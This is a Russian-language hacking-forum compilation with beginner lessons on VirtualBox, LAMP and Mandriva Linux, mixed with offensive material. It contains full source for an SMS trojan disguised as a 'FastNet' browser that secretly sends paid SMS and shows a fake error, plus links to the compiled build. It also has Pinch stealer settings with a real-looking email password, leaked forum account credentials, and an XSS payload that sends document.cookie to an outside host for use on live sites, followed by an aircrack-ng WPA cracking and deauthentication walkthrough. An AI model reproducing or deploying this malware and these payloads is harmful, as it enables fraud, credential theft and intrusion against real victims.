2)Жмём Устройства--Установить дополнения Гостевой ОС(устанавливаем эти дополнения и выключаем вирт машину...)//Кстати в этом пункте (Устройства вы можете в реальном времени подключать и отключать устройства от ОС)
3)Далее идём в вашу корневую папку...(на убунту) она еще называется Home Folder и создаём там папку под названием full (имя можете поменять если хотите)
4)Заходим в Sun xVM VirtualBox--Xwindows--Свойства--Общие папки--(нажимаем на папку с плюсиком)--Путь к папке(Другой) и выбираем путь до папки....у меня он получился такой /home/xakep9009/full--Ок
5)Загружаем Винду и вот что делаем...
Пуск--Выполнить-- net use x: \\vboxsvr\full   <-имя папки -- Ok
После чего у вас появится "Сетевой диск"(тобишь папка которая будет работать как в Ubuntu так и в Windows)

VirtualBox мы с вами настроили....теперь как истинные Хакеры мы должны установить MySQL+PHP+Perl+phpMyadmin для наших опытов...(в Linux эта связка называется LAMP)

LAMP

Для того чтобы с лёгкостью установить сервер....(localhost) нам нужно иметь подключение к интернету....(поэтому в большей степени повезёт тем у кого ноутбуки...с настройкой WiFi им париться не придётся.....ну а если у вас декстоп....придётся помучиться и полазят по форумам....ибо у каждого собственные настройки...)

Уточняю (если вы всё еще не отошли от виртуальных машин) дальнейшие действия происходят в Ubuntu.

Открываем консоль(командная строка)....

Applications--Стандартные--Терминал

После чего в терминале пишем....

sudo apt-get install lamp-server^

Пишем пароль который вы ставили для пользователя root....и жмём Enter
Вот и всё! Теперь у нас работает PHP и MySQL (кстати perl в Ubuntu по умолчанию уже есть....)

Если вы еще не знаете(или не помните) что означают эти команды....то давайте разберём....так как они у вас будут встречаться очень часто
1)sudo -это команда для того чтобы выполнять действия от пользователя root
(если бы мы её не написали...нам бы выдали ошибку...что у нас мало прав на выполнение установки....эта команда всегда используется когда надо отредактировать или установить файлы.....)

9)Port-Интерфейс для подключения линий приема-передачи данных к сетевому устройству, например, компьютеру или концентратору - 2. Физический или логический адрес устройства или процесса внутри компьютера. Иногда при обращении к компьютеру в Internet за определенной услугой, после его адреса надо через двоеточие указать номер порта

80:HTTP - Протокол передачи гипертекста.Именно с этим протоколом ты встречаешься каждый день в интернете лазия по сайтам...

21:FTP (File Transfer Protocol) - служит для передачи файлов
_______________________________________________________________________
10)Отличие между Trojan и Virus

Вирус — это компьютерная программа, которая способна создавать копии своего кода (причем, не всегда совпадающие с оригинальным) и внедрять его в код других программ, системные области компьютера и компьютерных сетей. Вирусы также могут осуществлять и другие вредоносные действия. Каждая копия вирусного кода также способна к дальнейшему распространению.

Троян (троянский конь). К данному типу вредоносных программ относятся программы, которые преследуют своей целью вредоносное воздействие по отношению к компьютерной системе. Трояны, как правило, не имеют механизма создания копий своего кода.

______________________________________________________________________

11)DNS
DNS (англ. Domain Name System — система доменных имён) — распределённая система (распределённая база данных), способная по запросу, содержащему доменное имя хоста (компьютера или другого сетевого устройства), сообщить IP адрес или (в зависимости от запроса) другую информацию. DNS работает в сетях TCP/IP. Как частный случай, DNS может хранить и обрабатывать и обратные запросы, определения имени хоста по его IP адресу: IP адрес по определённому правилу преобразуется в доменное имя, и посылается запрос на информацию типа "PTR"._

_DNS была разработана для именования машин в глобальной сети. Основной особенностью глобальной сети является распределенное администрирование, когда один администратор физически не может уследить за выделением имен. Поэтому Служба Доменных Имен функционирует на принципе делегирования полномочий. Каждая машина либо знает ответ на вопрос, либо знает кого спросить. При правильном функционировании система замкнута, т.е. если запрошенная информация имеется у кого-либо, то она будет найдена и сообщена клиенту, либо, если вопрос не имеет ответа, клиент получит сообщение о невозможности получения ответа на вопрос.
_____________________________________________________________________________

12)Тунэль , Тунэлирование

Туннелирование в компьютерных сетях — это метод построения сетей, при котором один сетевой протокол инкапсулируется в другой. От обычных многоуровневых сетевых моделей (таких как OSI или TCP/IP) туннелирование отличается тем, что инкапсулируемый протокол относится к тому же или более низкому уровню, чем используемый в качестве тоннеля.

Туннелирование обычно применяется для согласования транспортных протоколов либо для создания защищённого соединения между узлами сети.

Туннель может быть использован, когда две сети с одной транспортной технологией необходимо соединить через сеть, использующую другую транспортную технологию. При этом пограничные маршрутизаторы, которые подключают объединяемые сети к транзитной, упаковывают пакеты транспортного протокола объединяемых сетей в пакеты транспортного протокола транзитной сети. Второй пограничный маршрутизатор выполняет обратную операцию.

Обычно туннелирование приводит к более простым и быстрым решениям по сравнению с трансляцией, так как решает более частную задачу, не обеспечивая взаимодействия с узлами транзитной сети.

Здарова всем учащимся. Я хочу написать по поводу пинча, для тех, у кого не получается заюзать правильно эту прогу.
Я начал изучать уроки многоуважаемого Хакер9009 2-недели назад(у меня просто времени мало, в универ надо готовится). И только сегодня смог правильно понять пинч. Я спрашивал у форумчан, но никто внятно не объяснил. Пришлось экспериментировать. Не знаю как у кого получилось, но у меня получилось отправить отчет только себе на мейл от своего же мейла:
Sender
• E-Mail: akromnet2@rambler.ru //это мой мейл
• SMTP Server: smtp.rambler.ru
• User: akromnet2 /* обязательно пишем то что прописано до "@rambler.ru" т.е. akromnet2(если введете, допустим akromnet; user и т. п. то отчет отправлятся не будет */
• Password: hugemoney // это пароль от моего мейла(akromnet2@rambler.ru)

Receiver
• E-Mail: akromnet2@rambler.ru // я пробывал писать и другие свои и-мейлы но отчет не отправлялся
• Subject: report_from_pinch // тема письма к-рое будет отправлено вам на мейл
• File name: system_info.bin // название файла отчета

Я наверно перепробовал всевозможные варианты, а получилось только по вышенаписанному. С парсером проблемы были но я исправил. А что касается джойнера, то 2-недели назад он не палился Авастом, зато Каспер палил(многие варианты перепробовал).

Что касается XSS, то можете поэкспериментировать с 1150.ucoz.ru (у меня с 1-го разу получилось). У меня на shurem.ru ничего не получалось(а именно с полем Сведения). Потом я нашел пароль к акку Хакер9009(акк: qwerty ; пароль: qwerty) и просто скопировал оттуда его запись. И все получилось. В коде <sсriрt>img = new Image(); img.src = "http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie;</sсriрt> ЗАМЕТЬТЕ -> вопросик это не опечатка Хакера9009!!!

Вопросы: Должен ли Tor скрывать мой IP адрес? //потому что мой АйПи не изменился когда я заюзал Tor но мою страну не определили
Для проверки IP нажмите сюда

< Сообщение отредактировано ReM_SAD -- 04.03.2009 2:41:43 >
УРОК №1 ПО ЛИНУКСУ ДЛЯ НАЧИНАЮЩИХ
Линукс для начинающих (дистрибутив Mandriva 2009 Free)

1.    Подготовка к установке.
Первым делом нам понадобиться чистый DVD диск и записать скачанный дистрибутив.
Сам дистрибутив можно скачать здесь
ftp://ftp.mandriva.ru/mandriva/official … d-i586.iso
Дистрибутив очень прост в использовании и максимально упрощён + очень похож на винду.
Как только Вы скачали дистрибутив и записали на DVD диск, то приступаем к следующему пункту.
2.    Установка Линукс.
Загружаемся с DVD диска и нам появляется загрузочное меню.
Навигация меню не сложная. В самом низу вы увидите следующее «F1 Help (помощ)» «F2 Language (язык)» «F3 Other Options (Другие параметры)». Для удобства, кто не знает английский, жмём «F2» и выбираем «русский» язык. Далее можно нажать «F3» для настройки расширения видео, нужно ещё раз нажать «F3» и выпадет список выбора расширения видео, в нашем случае выбираем то что нам нужно, я например выбрал «1024x768».
По середине экрана мы видим выбор загрузки, передвигаться по этому меню можно нажатием кнопок вверх, вниз:
•         Boot from Hard Disk (загрузка с винчестера, т.е. пропустить установку)
•         Install Mandriva Linux 2009 (установка дистрибутива)
•         Rescue System (восстановление системы)
•         Memory Test (тест оперативной памяти)
Нам конечно нужен пунк 2 установка дистрибутива.
Выбираем и поехали…
После загрузки установщика предлагается выбрать язык, выбираем «русский» (если хотите выбрать другие языки то вперёд). Нажимаем далее.
Появляется лицензионного соглашение, мы конечно принимаем его и жмём «Далее».
Далее нам предлагают уточнить тип установки, это обновление старого дистрибутива линукс или новая установка, выбираем конечно же «новая установка» и жмём «Далее».
На этом этапе предлагается выбрать раскладку клавиатуры, мы нажимаем кнопку «Больше» и выбираем раскладку «US клавиатура», нажимаем «ОК» затем «Далее».
Теперь у нас спрашивают, как мы будем разбивать винчестер, есть три варианта:
- Использовать существующие разделы
- Очистить и использовать весь диск
- Ручная разметка диска
Вот здесь нужно быть очень аккуратным, лучше всего в первый раз для теста и тренировок подключить чистый винчестер, а все другие отключить, что бы не потерять данные, при случайном или ошибочном уничтожении или очистки всех разделов винта.
Мы предполагаем, что на компьютере нет никакой другой операционной системы и на винчестере нет никаких данных. А для того что бы ничего не потерять я предлагаю испробовать на виртуальной машине, к счастью выбор большой: VMWare, Virtual PC, VirtualBox(советую).
Выбираем пункт «Очистить и использовать весь диск», теперь у нас появляется предупреждение такого рода: «ВСЕ существующие разделы и данные на них будут потеряны на диске sda и показывает размер винчестера в скобках и его тип.
Примечание: в операционной системе линукс винчестеры маркируются следующим видом:
первый винчестер – sda
второй винчестер – sdb
третий винчестер – sdc
четвёртый винчестер – sdd
и так далее…
Нажимаем кнопку «Далее».
Следующим шагом будет предложение скопировать весь DVD диск на винчестер и потом с него устанавливать, это полезно если вы захотите всё время ставить какие-то пакеты, а потом удалять, и что бы не вставлять DVD диск с дистрибутивом установщик пакетов просто будет брать с винчестера, оставляю вам сделать выбор, но помните место на винчестере выжрет около 4.8 Гиг.(ведь целый DVD диск). Выбираем и двигаемся далее.
Дальше появиться просьба выбрать «Есть ли дополнительный носитель для настройки?» - это меня нужно если у вас будет установка производиться с другого привода или по установка по сети, в нашем случае выбираем «Отсутствует».
Так далее выбор рабочего стола, мы выбираем KDE и жмём “Далее».
Теперь пошла установка дистрибутива, это займёт около 20-60 минут в зависимости какой у вас компьютер.
После установки установщик запрашивает ввести главный пароль администратора (root) и создать нового пользователя (пользователь нужен для основной работы, а учётная запись администратора лучше использовать временно для установки программ).
После того как ввели пароль root и ввели данные с паролем для нового пользователя нажимаем «Далее». Следующий шаг, выбрать куда установить начальный загрузчик. Т.к. у нас винчестер чистый и там не было ни одной операционной системы мы указываем ставить в «Первый сектор диска MBR», и опять жмём «Далее».
Теперь нужно указать с каким разрешением будем работать на мониторе, рекомендую выбирать 1024x768 60Гц (или 70Гц), после того как выбрали жмём «Далее».
Следующее у нас настройка многих параметров, которые мы делать не будем, а сделаем это потом, разве, что вы можете сменить часовой пояс, выбрать страну, ну и на этом пока всё, не забываем нажимать «Далее».
На последнем этапе нам предлагаеться установить обновления, но так как наша операционная система не настроена мы отказываемся и выбираем «Нет» и последний раз жмём «Далее».
Всё система установлена, я вас поздравляю, теперь, что бы насладиться работой нужно всего лишь нажать «Перезагрузка» и всё наша операционка готова к настройке.
#-----------------------------------------------------------------------------------------------#
В следующем уроке будем настраивать нашего пингвина (линукс).

< Сообщение отредактировано KmServak -- 22.03.2009 16:32:41 >
УРОК №2 ПО ЛИНУКСУ ДЛЯ НАЧИНАЮЩИХ
Линукс для начинающих (дистрибутив Mandriva 2009 Free)

Итак в предыдущем уроке мы быстро установили дистрибутив Mandriva 2009 Free.
Теперь мы будем его настраивать под себя.
Перед загрузкой дистрибутива будет предложено два варианта загрузки: обычный вход; безопасный режим.
Мы выбираем обычный режим и загружаем наш дистрибутив.
Первый запуск дистрибутив будет предложена форма для регистрации, но мы его пропускаем и нажимаем «Отмена».
Перед нами появляется окно входа в систему и созданный ранее наш пользователь, под которым мы будем заходить (в первом уроке мы говорили, что пользователь root нужен только для установки программ).
Выбрать пользователя можно нажав над человечком мышкой или набрать в поле Username имя пользователя, ну и конечно пароль, который вы сами указали.
Перед вашими экранами вы видите красавца Линукс. Интерфейс похож на Висту но немного продвинутый, больше графических прибомбасов. Если вы поставили на сам компьютер, а не на виртуальную машину, то у вас появляется возможность оценить все (если видеокарта не старая) преимущества графических эффектов.
На рабочем толе вы видите аплет «Рабочий стол» вы его можете двигать мышкой в любую точку экрана. Также внизу вы увидите цифры 1,2,3,4 – это номера рабочих столов (в виндовсе такого нету). Зачем эти рабочие столы нужны, отвечаю: если например у вас открыта программа и вы не хотите её пока видеть, но закрывать её нельзя, или у вас какое-то своё расположение окон, более удобное для вас, то вы можете расположить окна других программ в другом рабочем столе. К этому нужно привыкнуть, потом вы обнаружите, что это очень удобно.
Возле меню в нижнем левом углу расположены ярлыки быстрого запуска, как у виндовс, мы запускаем ярлык «Настройка компьютера». После запуска нам будет предложено ввести пользователя root (это тот пользователь, который может по умолчанию в операционной системе делать всё), вводим пароль и мы видим первую закладку «Управление программами» - здесь вы можете установить, удалить, обновить и даже получить отчёт, какие пакеты используются, а какие вообще не используются, только занимают место.
Вторая вкладка «Онлайновое администрирование» - с помощью этой вкладки, вы можете подключиться к компьютерам Windows, Linux.
Третья вкладка «Оборудование» - тут мы настроить наш дистрибутив, что мы сейчас и сделаем.
Начнём с «Настройки графики» => «Настройка эффектов трёхмерного рабочего стола» - вот эта очень крутая фича, которой завидует даже сама Майкрософт, запускаем и нас сразу система говорит, что необходимо установить пакет mesa-demos, мы его ставим и жмём «Ок». После установки если у вас доступен следующий пункт «Metisse», то мы выбираем и жмём «Ок». Потребуется выйти из системы (не путайте с перезагрузкой) и опять залогиниться, этим вы перегрузите графический сервис и новые графические функции будут доступны.
Теперь ваш рабочий стол на 200% покруче чем хвалёная Виста.
Ну например, нажмите и держите левый Ctrl+ мышкой нажмите левую клавишу и покрутите влево- вправо- вверх – вниз. Также попробуйте запустить какую-то программу и обратите на поведение окон, как плавно и с приколами они открываются, теперь открытое окно попробуйте быстро передвинуть влево, а потом в право, разверните на весь экран, а потом сверните его. Переключать рабочий стол вы можете комбинацией клавиш левый Ctrl+ клавиши стрелки вправо, влево.
Так с графическими эффектами и с некоторым функционалом мы разобрались, теперь приступим к настройке раскладки клавиатуры.
В пункте «Настройка клавиатуры и мыши» => «Настройка раскладки клавиатуры» - запускаем и выбираем раскладку «Русская», также выбираем переключение между раскладками как вам будет удобно, перечень там большой.
Теперь мы можем спокойно перейти и настроить расширение экрана, если нам что-то не устраивает. Это можно сделать с помощью «Настройка графики» => «Настройка графического сервера» - изменяем только расширение монитора, ну и конечно можно сначала нажать кнопку «Проверить» перед использованием, если всё нормально, то тогда сохраняем и жмём кнопку «Выйти». Изменения, которые мы сделали, нужно опять перегрузить графический сервер (нажимаем «Выйти из системы» и заходим опять) для того, чтобы они вступили в силу.
#-----------------------------------------------------------------------------------------------#
Пока всё на этом урок заканчивается, в следующем уроке будет рассказано, про файловую систему.
Дабы помочь автору, опишу .....

Структура файловой системы

/ - корневой каталог
/bin - исполняемые файлы и скрипты
/dev - файлы устройств
/etc - файлы настрое
/home - домашние каталоги пользователей
/mnt -каталог мантирования
/lib - библиотеки
/proc - файлы состояния системы
/root - домашний каталог пользователя root
/sbin - систеьные исполняемые файлы
/usr - приложения и файлы установленные в систему
/var - постоянно изменяемые файлы
/tmp - временные файлы

Группа 9009 представляет:

SMS-Троян или "Заработай на СМС"

Каждый приличный и уважающий себя кодер должен начать зарабатывать на своем мастерстве. Вот мы с тобой и начнем косить американских президентов
на наивных пользователях Интернета.
Ты наверно слышал о такой штуке как СМС-биллинг. Наивные юзеры шлют смс с каким-нибуть пожеланием или текстом как в чат, или заказывают контент.
Искать тебе биллинги прийдется, все уже собрано в одном месте - http://allpublication.ru/sms/ . Выбирай любую и регистрируйся.
Надеюсь, ты уже сбегал и зарегался, а заодно получил свой префикс - тот текст, который мы будем слать в СМС-ке.

Подготовка к кодингу

План - создание трояна для скрытой отсылки смс на платные номера (твои Я решил маскировать зловреда под СМС-браузер (ничего не напоминает ?)
Важным пунктом в сегодяшнем меню будет софт для кодинга. Надеюсь ты знаешь, что программы и игры для телефонов (мидлеты) пишутся на языке Java.
Но мы с тобой не будем учить новый ЯП, а воспользуемся простым решением - MidletPascal. Это обычный паскаль, но для телефона, в котором встроены
готовые очень полезные функции. Скачать его можно с официального сайта проги ( http://www.midletpascal.com/ ).
Будем считать, что ты уже скачал и установил MidletPascal.

The Trojan Begins

Для начала создавай новый проект (File -> New Project). В имя проэкта вбивай что-то наподобие SMS_Trojan, в окошке выбирай пункт "Default MIDP project"
и жми "Create". В окне кода появится начальный исходник мидлета:

program SMS_Trojan;
begin
drawText('Hello world!', 0, 0);
repaint;
delay(2000);
end.

Объяснение этих функций есть в справке, потому не будем тратить время на это Убирай все от begin до end.
В справке есть готовый пример отсылки смс:

begin
if not SmsStartSend('sms://+5550000', 'Hello!') then Halt;
while SmsIsSending do // wait for the message to be sent
Delay(100);
if not SmsWasSuccessfull then Halt; // check if the message was sent successfully
end.

SmsStartSend - функция отправки СМС
SmsIsSending - проверяет, осылается соощение или нет
SmsWasSuccessfull - проверяет, было ли успешо отослано последнее соощение
Delay - останавливает исполнение мидлета на указанное количество миллисекунд

Этим примером лучше не пользоваться из-за его простоты, т.к. жертва почувствует подвох, когда прога просто вырубится.
А нам нужно, чтобы все было красиво Поэтому мы создадим интерфейс для жертвы, чтобы она чувствовала себя уютно, пока ее деньги идут нам.
ГУИ:
- Главное меню с 4 пунктами
- Пункты "Справка" и "Про программу"

Мы будем использовать такие константы в мидлете:

const
SendErr='Ошибка 109. Возможно не настроена сеть или оператор отключил службу SMS. Попробуйте воспользоваться услугой позже.';
AboutStr='Made by Butlik, 2009';
HelpStr='С помощью браузера FastNet вы сможете экономить 95% трафика, так как интернет будет работать через систему СМС.';
NUMBERS=1;

SendErr - Сообщение, которое появится после удачной отсылки всех СМС
AboutStr - Какой-то левый копирайт Что же это будет за мега браузер, если в нем не будет неписано чей он. Это будет подозрительно.
HelpStr - Справка Тут должна работать фантазия.
NUMBERS - количество номеров, на которые будет идти отправка СМС.

Мы будем использовать такие переменные в мидлете:

var
numb,text:array[1..NUMBERS] of string; // массивы строк с текстами сообщений и номерами
p:array[1..4] of integer; // массив хэндлов пунктов меню
m:array[1..4] of string; // массив строк с названиями пунктов меню
clicked,
callmenu,
exit : command; // команды для софт клавиш
label_id, // хэндл надписей (справки, ошибки и т.д.)
i,d : integer; // счетчики

Создадим процедуру динамического создания главного меню:

//----------------------------------------------------------------------------------------------------------------------------------------
procedure mainmenu;
var
click: Command; // элемент "command" - по сути это назначение кнопки для софт клавиши
begin
showMenu('Выбери действие', CH_IMPLICIT); // покажем меню с заголовком "Выбери действие", тип - CH_IMPLICIT - обычное меню (подробнее в справке)

for d:=1 to 4 do // в этом цикле мы
p[d] := menuAppendString(m[d]); // добавляем в меню пункты с названиями из массива строк m, и сохраняем ихние хэндлы в масив integer'ов p

repeat
delay(100); // пауза

click := GetClickedCommand; // получаем нажатую клавишу

until click <> EmptyCommand; // в этом цикле мы ждем, пока будет нажата любая софт клавиша, для которой есть элемент "command"
end;
//----------------------------------------------------------------------------------------------------------------------------------------

Теперь напишем сердце троя - процедура отсылки СМС:

//----------------------------------------------------------------------------------------------------------------------------------------
procedure SendMoneyToMe;
begin
for d:=1 to NUMBERS do // цикл отсылки
begin
if not SmsStartSend('sms://'+numb[d], text[d]) // попытка послать собощение

then Halt; // если она была неудачная, то вырубимся

while SmsIsSending do // пока смс-ка посылается
Delay(100); // ждем
end;
end;
//----------------------------------------------------------------------------------------------------------------------------------------

Теперь напишем основу троя (для понимания разбита на части) :

//----------------------------------------------------------------------------------------------------------------------------------------
m[1]:='Начать роботу'; // Это все
m[2]:='Про программу'; // заполнение массива
m[3]:='Справка'; // пунктов
m[4]:='Выход'; // меню

Numb[1]:='1234'; // А это заполнение массивов с номерами
text[1]:='7777'; // и текстами сообщений

Repeat // здесь главный начинается цикл, в котором проверяем, была ли нажата кнопка "Выход"
mainmenu; // вызоваем функцию создания меню

for d:=1 to 4 do // в том цикле мы определяем, какой пункт меню был выбран
if MenuIsSelected(p[d]) then i:=d; // с помощью функции MenuIsSelected

ClearForm; // полностью очищаем форму от всех менюшек, лэйблов и т.д.

// в зависимости от i, выбираем, какое действие нам сделать

if i=1 then // если был выбран пункт меню "Начать роботу"
begin
SendMoneyToMe; // отсылаем смс-ки
label_id := FormAddString(SendErr); //показываем ошибку
end;

if i=2 then // если был выбран пункт меню "Про программу"
label_id := FormAddString(AboutStr); // показываем строку с about'ом

if i=3 then // если был выбран пункт меню "Справка"
label_id := FormAddString(HelpStr); // показываем строку с help'ом

if i=4 then // если был выбран пункт меню "Выход"
halt; // вырубаемся

ShowForm; // показываем форму

callmenu := CreateCommand('Меню', CM_SCREEN, 1); // создаем команду "Меню" для софт клавиши
AddCommand(callmenu); // и добавляем ее на дисплей

exit := CreateCommand('Выход', CM_EXIT, 2); // создаем команду "Выход" для софт клавиши
AddCommand(exit); // и добавляем ее на дисплей

clicked := GetClickedCommand; // сохраняем нажатую кнопку в переменую clicked

Repeat // цикл, в котором мидлет ожидает нажатия софт клавиши

Delay(100); // пауза

clicked := GetClickedCommand; // сохраняем нажатую кнопку в переменую clicked

If clicked = exit Then Break; // если была нажата кнопка "Выход", то выходим из этого цикла

Until clicked = callmenu; // условие - повторять, пока не нажата кнопка "Меню"

Until clicked = exit; // условие - повторять, пока не нажата кнопка "Выход"

// если мы здесь, значит юзверь все-таки нажал на "Выход"

Delay(1000); // ждем 1 секунду перед выходом
//----------------------------------------------------------------------------------------------------------------------------------------

Окей, хеппи-энд. (с)

Для особо ленивых (да, я знаю, это ты), я выложил весь проект с иконкой, скомпилиным jar и всем остальным.

http://slil.ru/27340659
http://rapidshare.com/files/214210564/S … n.rar.html
http://dump.ru/file/2307280
http://ВНИМАНИЕ! Тут должна была быть ссылка на depositfiles.com, скорее всего это вирус или троян!/files/52cm0535l

Итоги:
- Софт на мобилу - это просто!
- Никто тебя не ограничивает - пиши хоть игры
- Деньги можно зарабатывать, раздавая линк с чудо-браузером

Удачи !

Вот нашел статейку насчет wpa/wpa2
(оригинальный материал находится по адресу
http://www.aircrack-ng.org/doku.php?id=cracking_wpa
перевод by Lokk, http://www.Lokk.ru
Введение

Это руководство объясняет, как взламывать сети, защищенные WPA/WPA2 с использованием Pre-Shared Key (PSK). WPA/WPA2 поддерживает много других способов аутентификации, но aircrack-ng взламывает только PSK, так что убедитесь, что airodump-ng показывает сеть с типом аутентификации PSK. В противном случае даже не пытайтесь в нее проникнуть.

Существует важное различие между взломом WPA/WPA2 и WEP. Если в WEP для ускорения процесса взлома используются статистические методы, WPA можно взломать только методом прямого перебора. Это происходит из-за отсутствия постоянного ключа, поэтому сбор начальных векторов (IV) отнюдь не ускорит процесс взлома, как это было бы при атаке на WEP. Единственный способ получить нужную информацию – начать перехват пакетов в момент установки соединения между клиентом и AP. Установка соединения происходит в тот момент, когда клиент входит в сеть (это не совсем верно, но в контексте данного документа, будем руководствоваться этим). Длина PSK может составлять от 8 до 63 символов, и чем она больше, тем меньше вероятность успешного взлома.

Но не все так безнадежно. В случае, если ключ является словарным словом или же менее 8 символов, взлом возможен. Отсюда, кстати, понятно, как создать неломаемую сеть – достаточно использовать WPA/WPA2 и ключ длиной 63 байта, состоящий из случайного набора букв, цифр и псевдосимволов.

Полный перебор – занятие не из легких. Поскольку требуются серьезные вычисления, компьютер может проверять от 50 до 300 ключей в секунду, в зависимости от мощности процессора. Перебор достаточно большого словаря может занять часы, если не дни, а если вы хотите сгенерировать свой собственный файл словаря, который включает в себя все комбинации букв, цифр и псевдосимволов, воспользуйтесь калькулятором времени перебора (http://lastbit.com/pswcalc.asp). Например, перебор пароля длиной 6 символов, состоящего из букв верхнего, нижнего регистров и цифр, займет 64 часа, а полный перебор уже 7-и символьного пароля – шесть месяцев. Думаю, не стоит говорить про 29 лет на перебор 8 символов.

Различий между взломом WPA и WPA2 нет, там используется одинаковая аутентификация, поэтому технология та же.

Условия работы

• вы используете пропатченные драйвера, умеющие делать инжекцию (http://www.aircrack-ng.org/doku.php?id=injection_test – здесь рассказано, как это проверить);
• вы достаточно близки к клиенту, чтобы отправлять и получать от него данные. Запомните, то, что вы можете получать пакеты от AP, еще не значит, что у вас есть возможность отправлять на нее данные. Мощность точки выше мощности вашей карты. Проверить возможность отправки пакетов можно по линку, указанному в пункте выше;
• вы используете aircrack-ng 0.9 stable (иначе некоторые параметры могут быть другими).

Проверьте, что все условия соблюдены, иначе нижеприведенные советы вряд ли вам помогут. Также, не забудьте заменить ath0 на имя интерфейса вашей беспроводной карточки.

Окружение

Чтобы проверить данное руководство в домашних условиях, вам необходимо иметь две беспроводные карточки. Мы используем следующие устройства:

• Атакуемый клиент с WPA2:
- MAC: 00:0F:B5:FD:FB:C2
• AP:
- ESSID: teddy
- MAC: 00:14:6C:7E:40:80
- Channel: 9
• Система AirCrack-ng:
- MAC: 00:0F:B5:88:AC:82

Решение

Предисловие

Наша цель – захватить пакеты во время установления защищенного соединения и использовать aircrack-ng для взлома PSK. Это можно сделать активным и пассивным способом. Активный заключается в посылке деаутентификационного пакета клиенту, пассивный — в ожидании, пока клиент начнет устанавливать WPA/WPA2 соединение самостоятельно. Преимущество пассивного способа в том, что отсутствует необходимость в инжекции, поэтому реализация атаки возможна и под Windows.

Вот наши основные шаги:
– запустить беспроводной интерфейс в режиме мониторинга на AP канале;
– запустить на этом же канале airodump-ng с фильтром по bssid;
– использовать aireplay-ng, чтобы деаутентифицировать беспроводного клиента;
– использовать aircrack-ng для взлома PSK ключа.

Шаг 1: запуск беспроводного интерфейса в режиме мониторинга

Итак, нам необходимо включить режим мониторинга. В этом режиме беспроводная карта ловит все пакеты в эфире, вместо обычного режима, когда она «слышит» только то, что адресовано ей. Перехватывая каждый пакет, мы можем отловить момент 4-х этапной WPA/WPA2 аутентификации.

Для начала остановим ath0:

# airmon-ng stop ath0

Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Убедимся, что нет других athX интерфейсов:

# iwconfig

lo no wireless extensions.
eth0 no wireless extensions.
wifi0 no wireless extensions.

Если еще какие-то athX присутствуют, остановите их тоже. Теперь установим беспроводную карту на канал 9 в режиме мониторинга:

# airmon-ng start wifi0 9

В этой команде мы используем «wifi0» вместо привычного «ath0», поскольку используем драйвера madwifi-ng. Ответом будет что-то вроде:

Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Обратите внимание на строчку monitor mode enabled. Чтобы проверить, что интерфейс правильно сконфигурирован, запустите:

# iwconfig

lo no wireless extensions.
wifi0 no wireless extensions.
eth0 no wireless extensions.
ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Вы видите, что ath0 работает в режиме мониторинга, на частоте 2.452, что соответствует 9 каналу, и что в AP стоит MAC-адрес вашей карты. В отличии от всех остальных, только драйвера madwifi-ng показывают ваш адрес в поле AP. Итак, все отлично. Очень важным моментом является проверка всех данных перед непосредственным процессом взлома. Если что-то не так, дальнейшие шаги могут оказаться бесполезными. Убедиться в соответствии частоты беспроводной карточки каналу можно по этому адресу: [link=http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels.]http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels.[/link]

Шаг 2: airodump-ng

Цель этого шага – отловить момент установки безопасного соединения с AP.

# airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0

-9 – это канал, на котором работает беспроводная сеть
--bssid 00:14:6C:7E:40:80 – MAC адрес AP. Этот параметр отфильтрует “левый” трафик
-w psk – имя файла, в который мы будут записываться пойманные IV
ath0 – имя нашего беспроводного интерфейса

Важно: не используйте параметр --ivs. Вы должны захватывать пакеты целиком. Итак, в случае, если к точке присоединен клиент, на экране появится что-то вроде этого:

CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy

BSSID STATION PWR Lost Packets Probes

00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116

А если клиентов в данный момент нет, то это:

CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:14:6C:7E:40:80 39 100 51 0 0 9 54 WPA2 CCMP PSK teddy

Уточним, что иногда для перехвата момента установки соединения приходится совершать дополнительные телодвижения. Ваша карточка должна быть в том же режиме, что AP и клиентское устройство. Например, если ваша карточка в режиме B, а клиент – в режиме G, то отловить аутентификацию не получится. Также, иногда бывает нужно выставить ту же скорость, например 11 Мб или 54 Мб. В общем, если не удалось перехватить установку соединение сразу, следует поэкспериментировать.

Шаг 3: используем aireplay-ng, чтобы отсоединить клиента.

Этот шаг необязателен и выполняется лишь в том случае, когда вы хотите ускорить процесс взлома. Естественно, для выполнения нижеприведенных действий необходимо, чтобы к точке был присоединен хотя бы один клиент. Если в данный момент никаких беспроводных клиентов не наблюдается, расслабьтесь и переходите сразу к следующему шагу. Конечно, если в дальнейшем беспроводной клиент появится, никто не мешает вам вернуться и выполнить все описанные ниже команды.

Итак, на данном этапе мы посылаем беспроводному клиенту сообщение о том, что он больше не ассоциирован с AP. Клиент попытается установить соединение заново и пошлет именно те пакеты, которые нам нужны.

Основываясь на полученных данных из предыдущего шага, выполним на другой консоли следующую команду:

# aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0

-0 означает деаутентификацию
1 – количество деаутентификационных пакетов (можно увеличить)
-a 00:14:6C:7E:40:80 – MAC-адрес AP
-c 00:0F:B5:FD:FB:C2 – MAC-адрес отсекаемого клиента
ath0 – имя нашей беспроводной карточки.

Ответ должен быть таким:

11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]

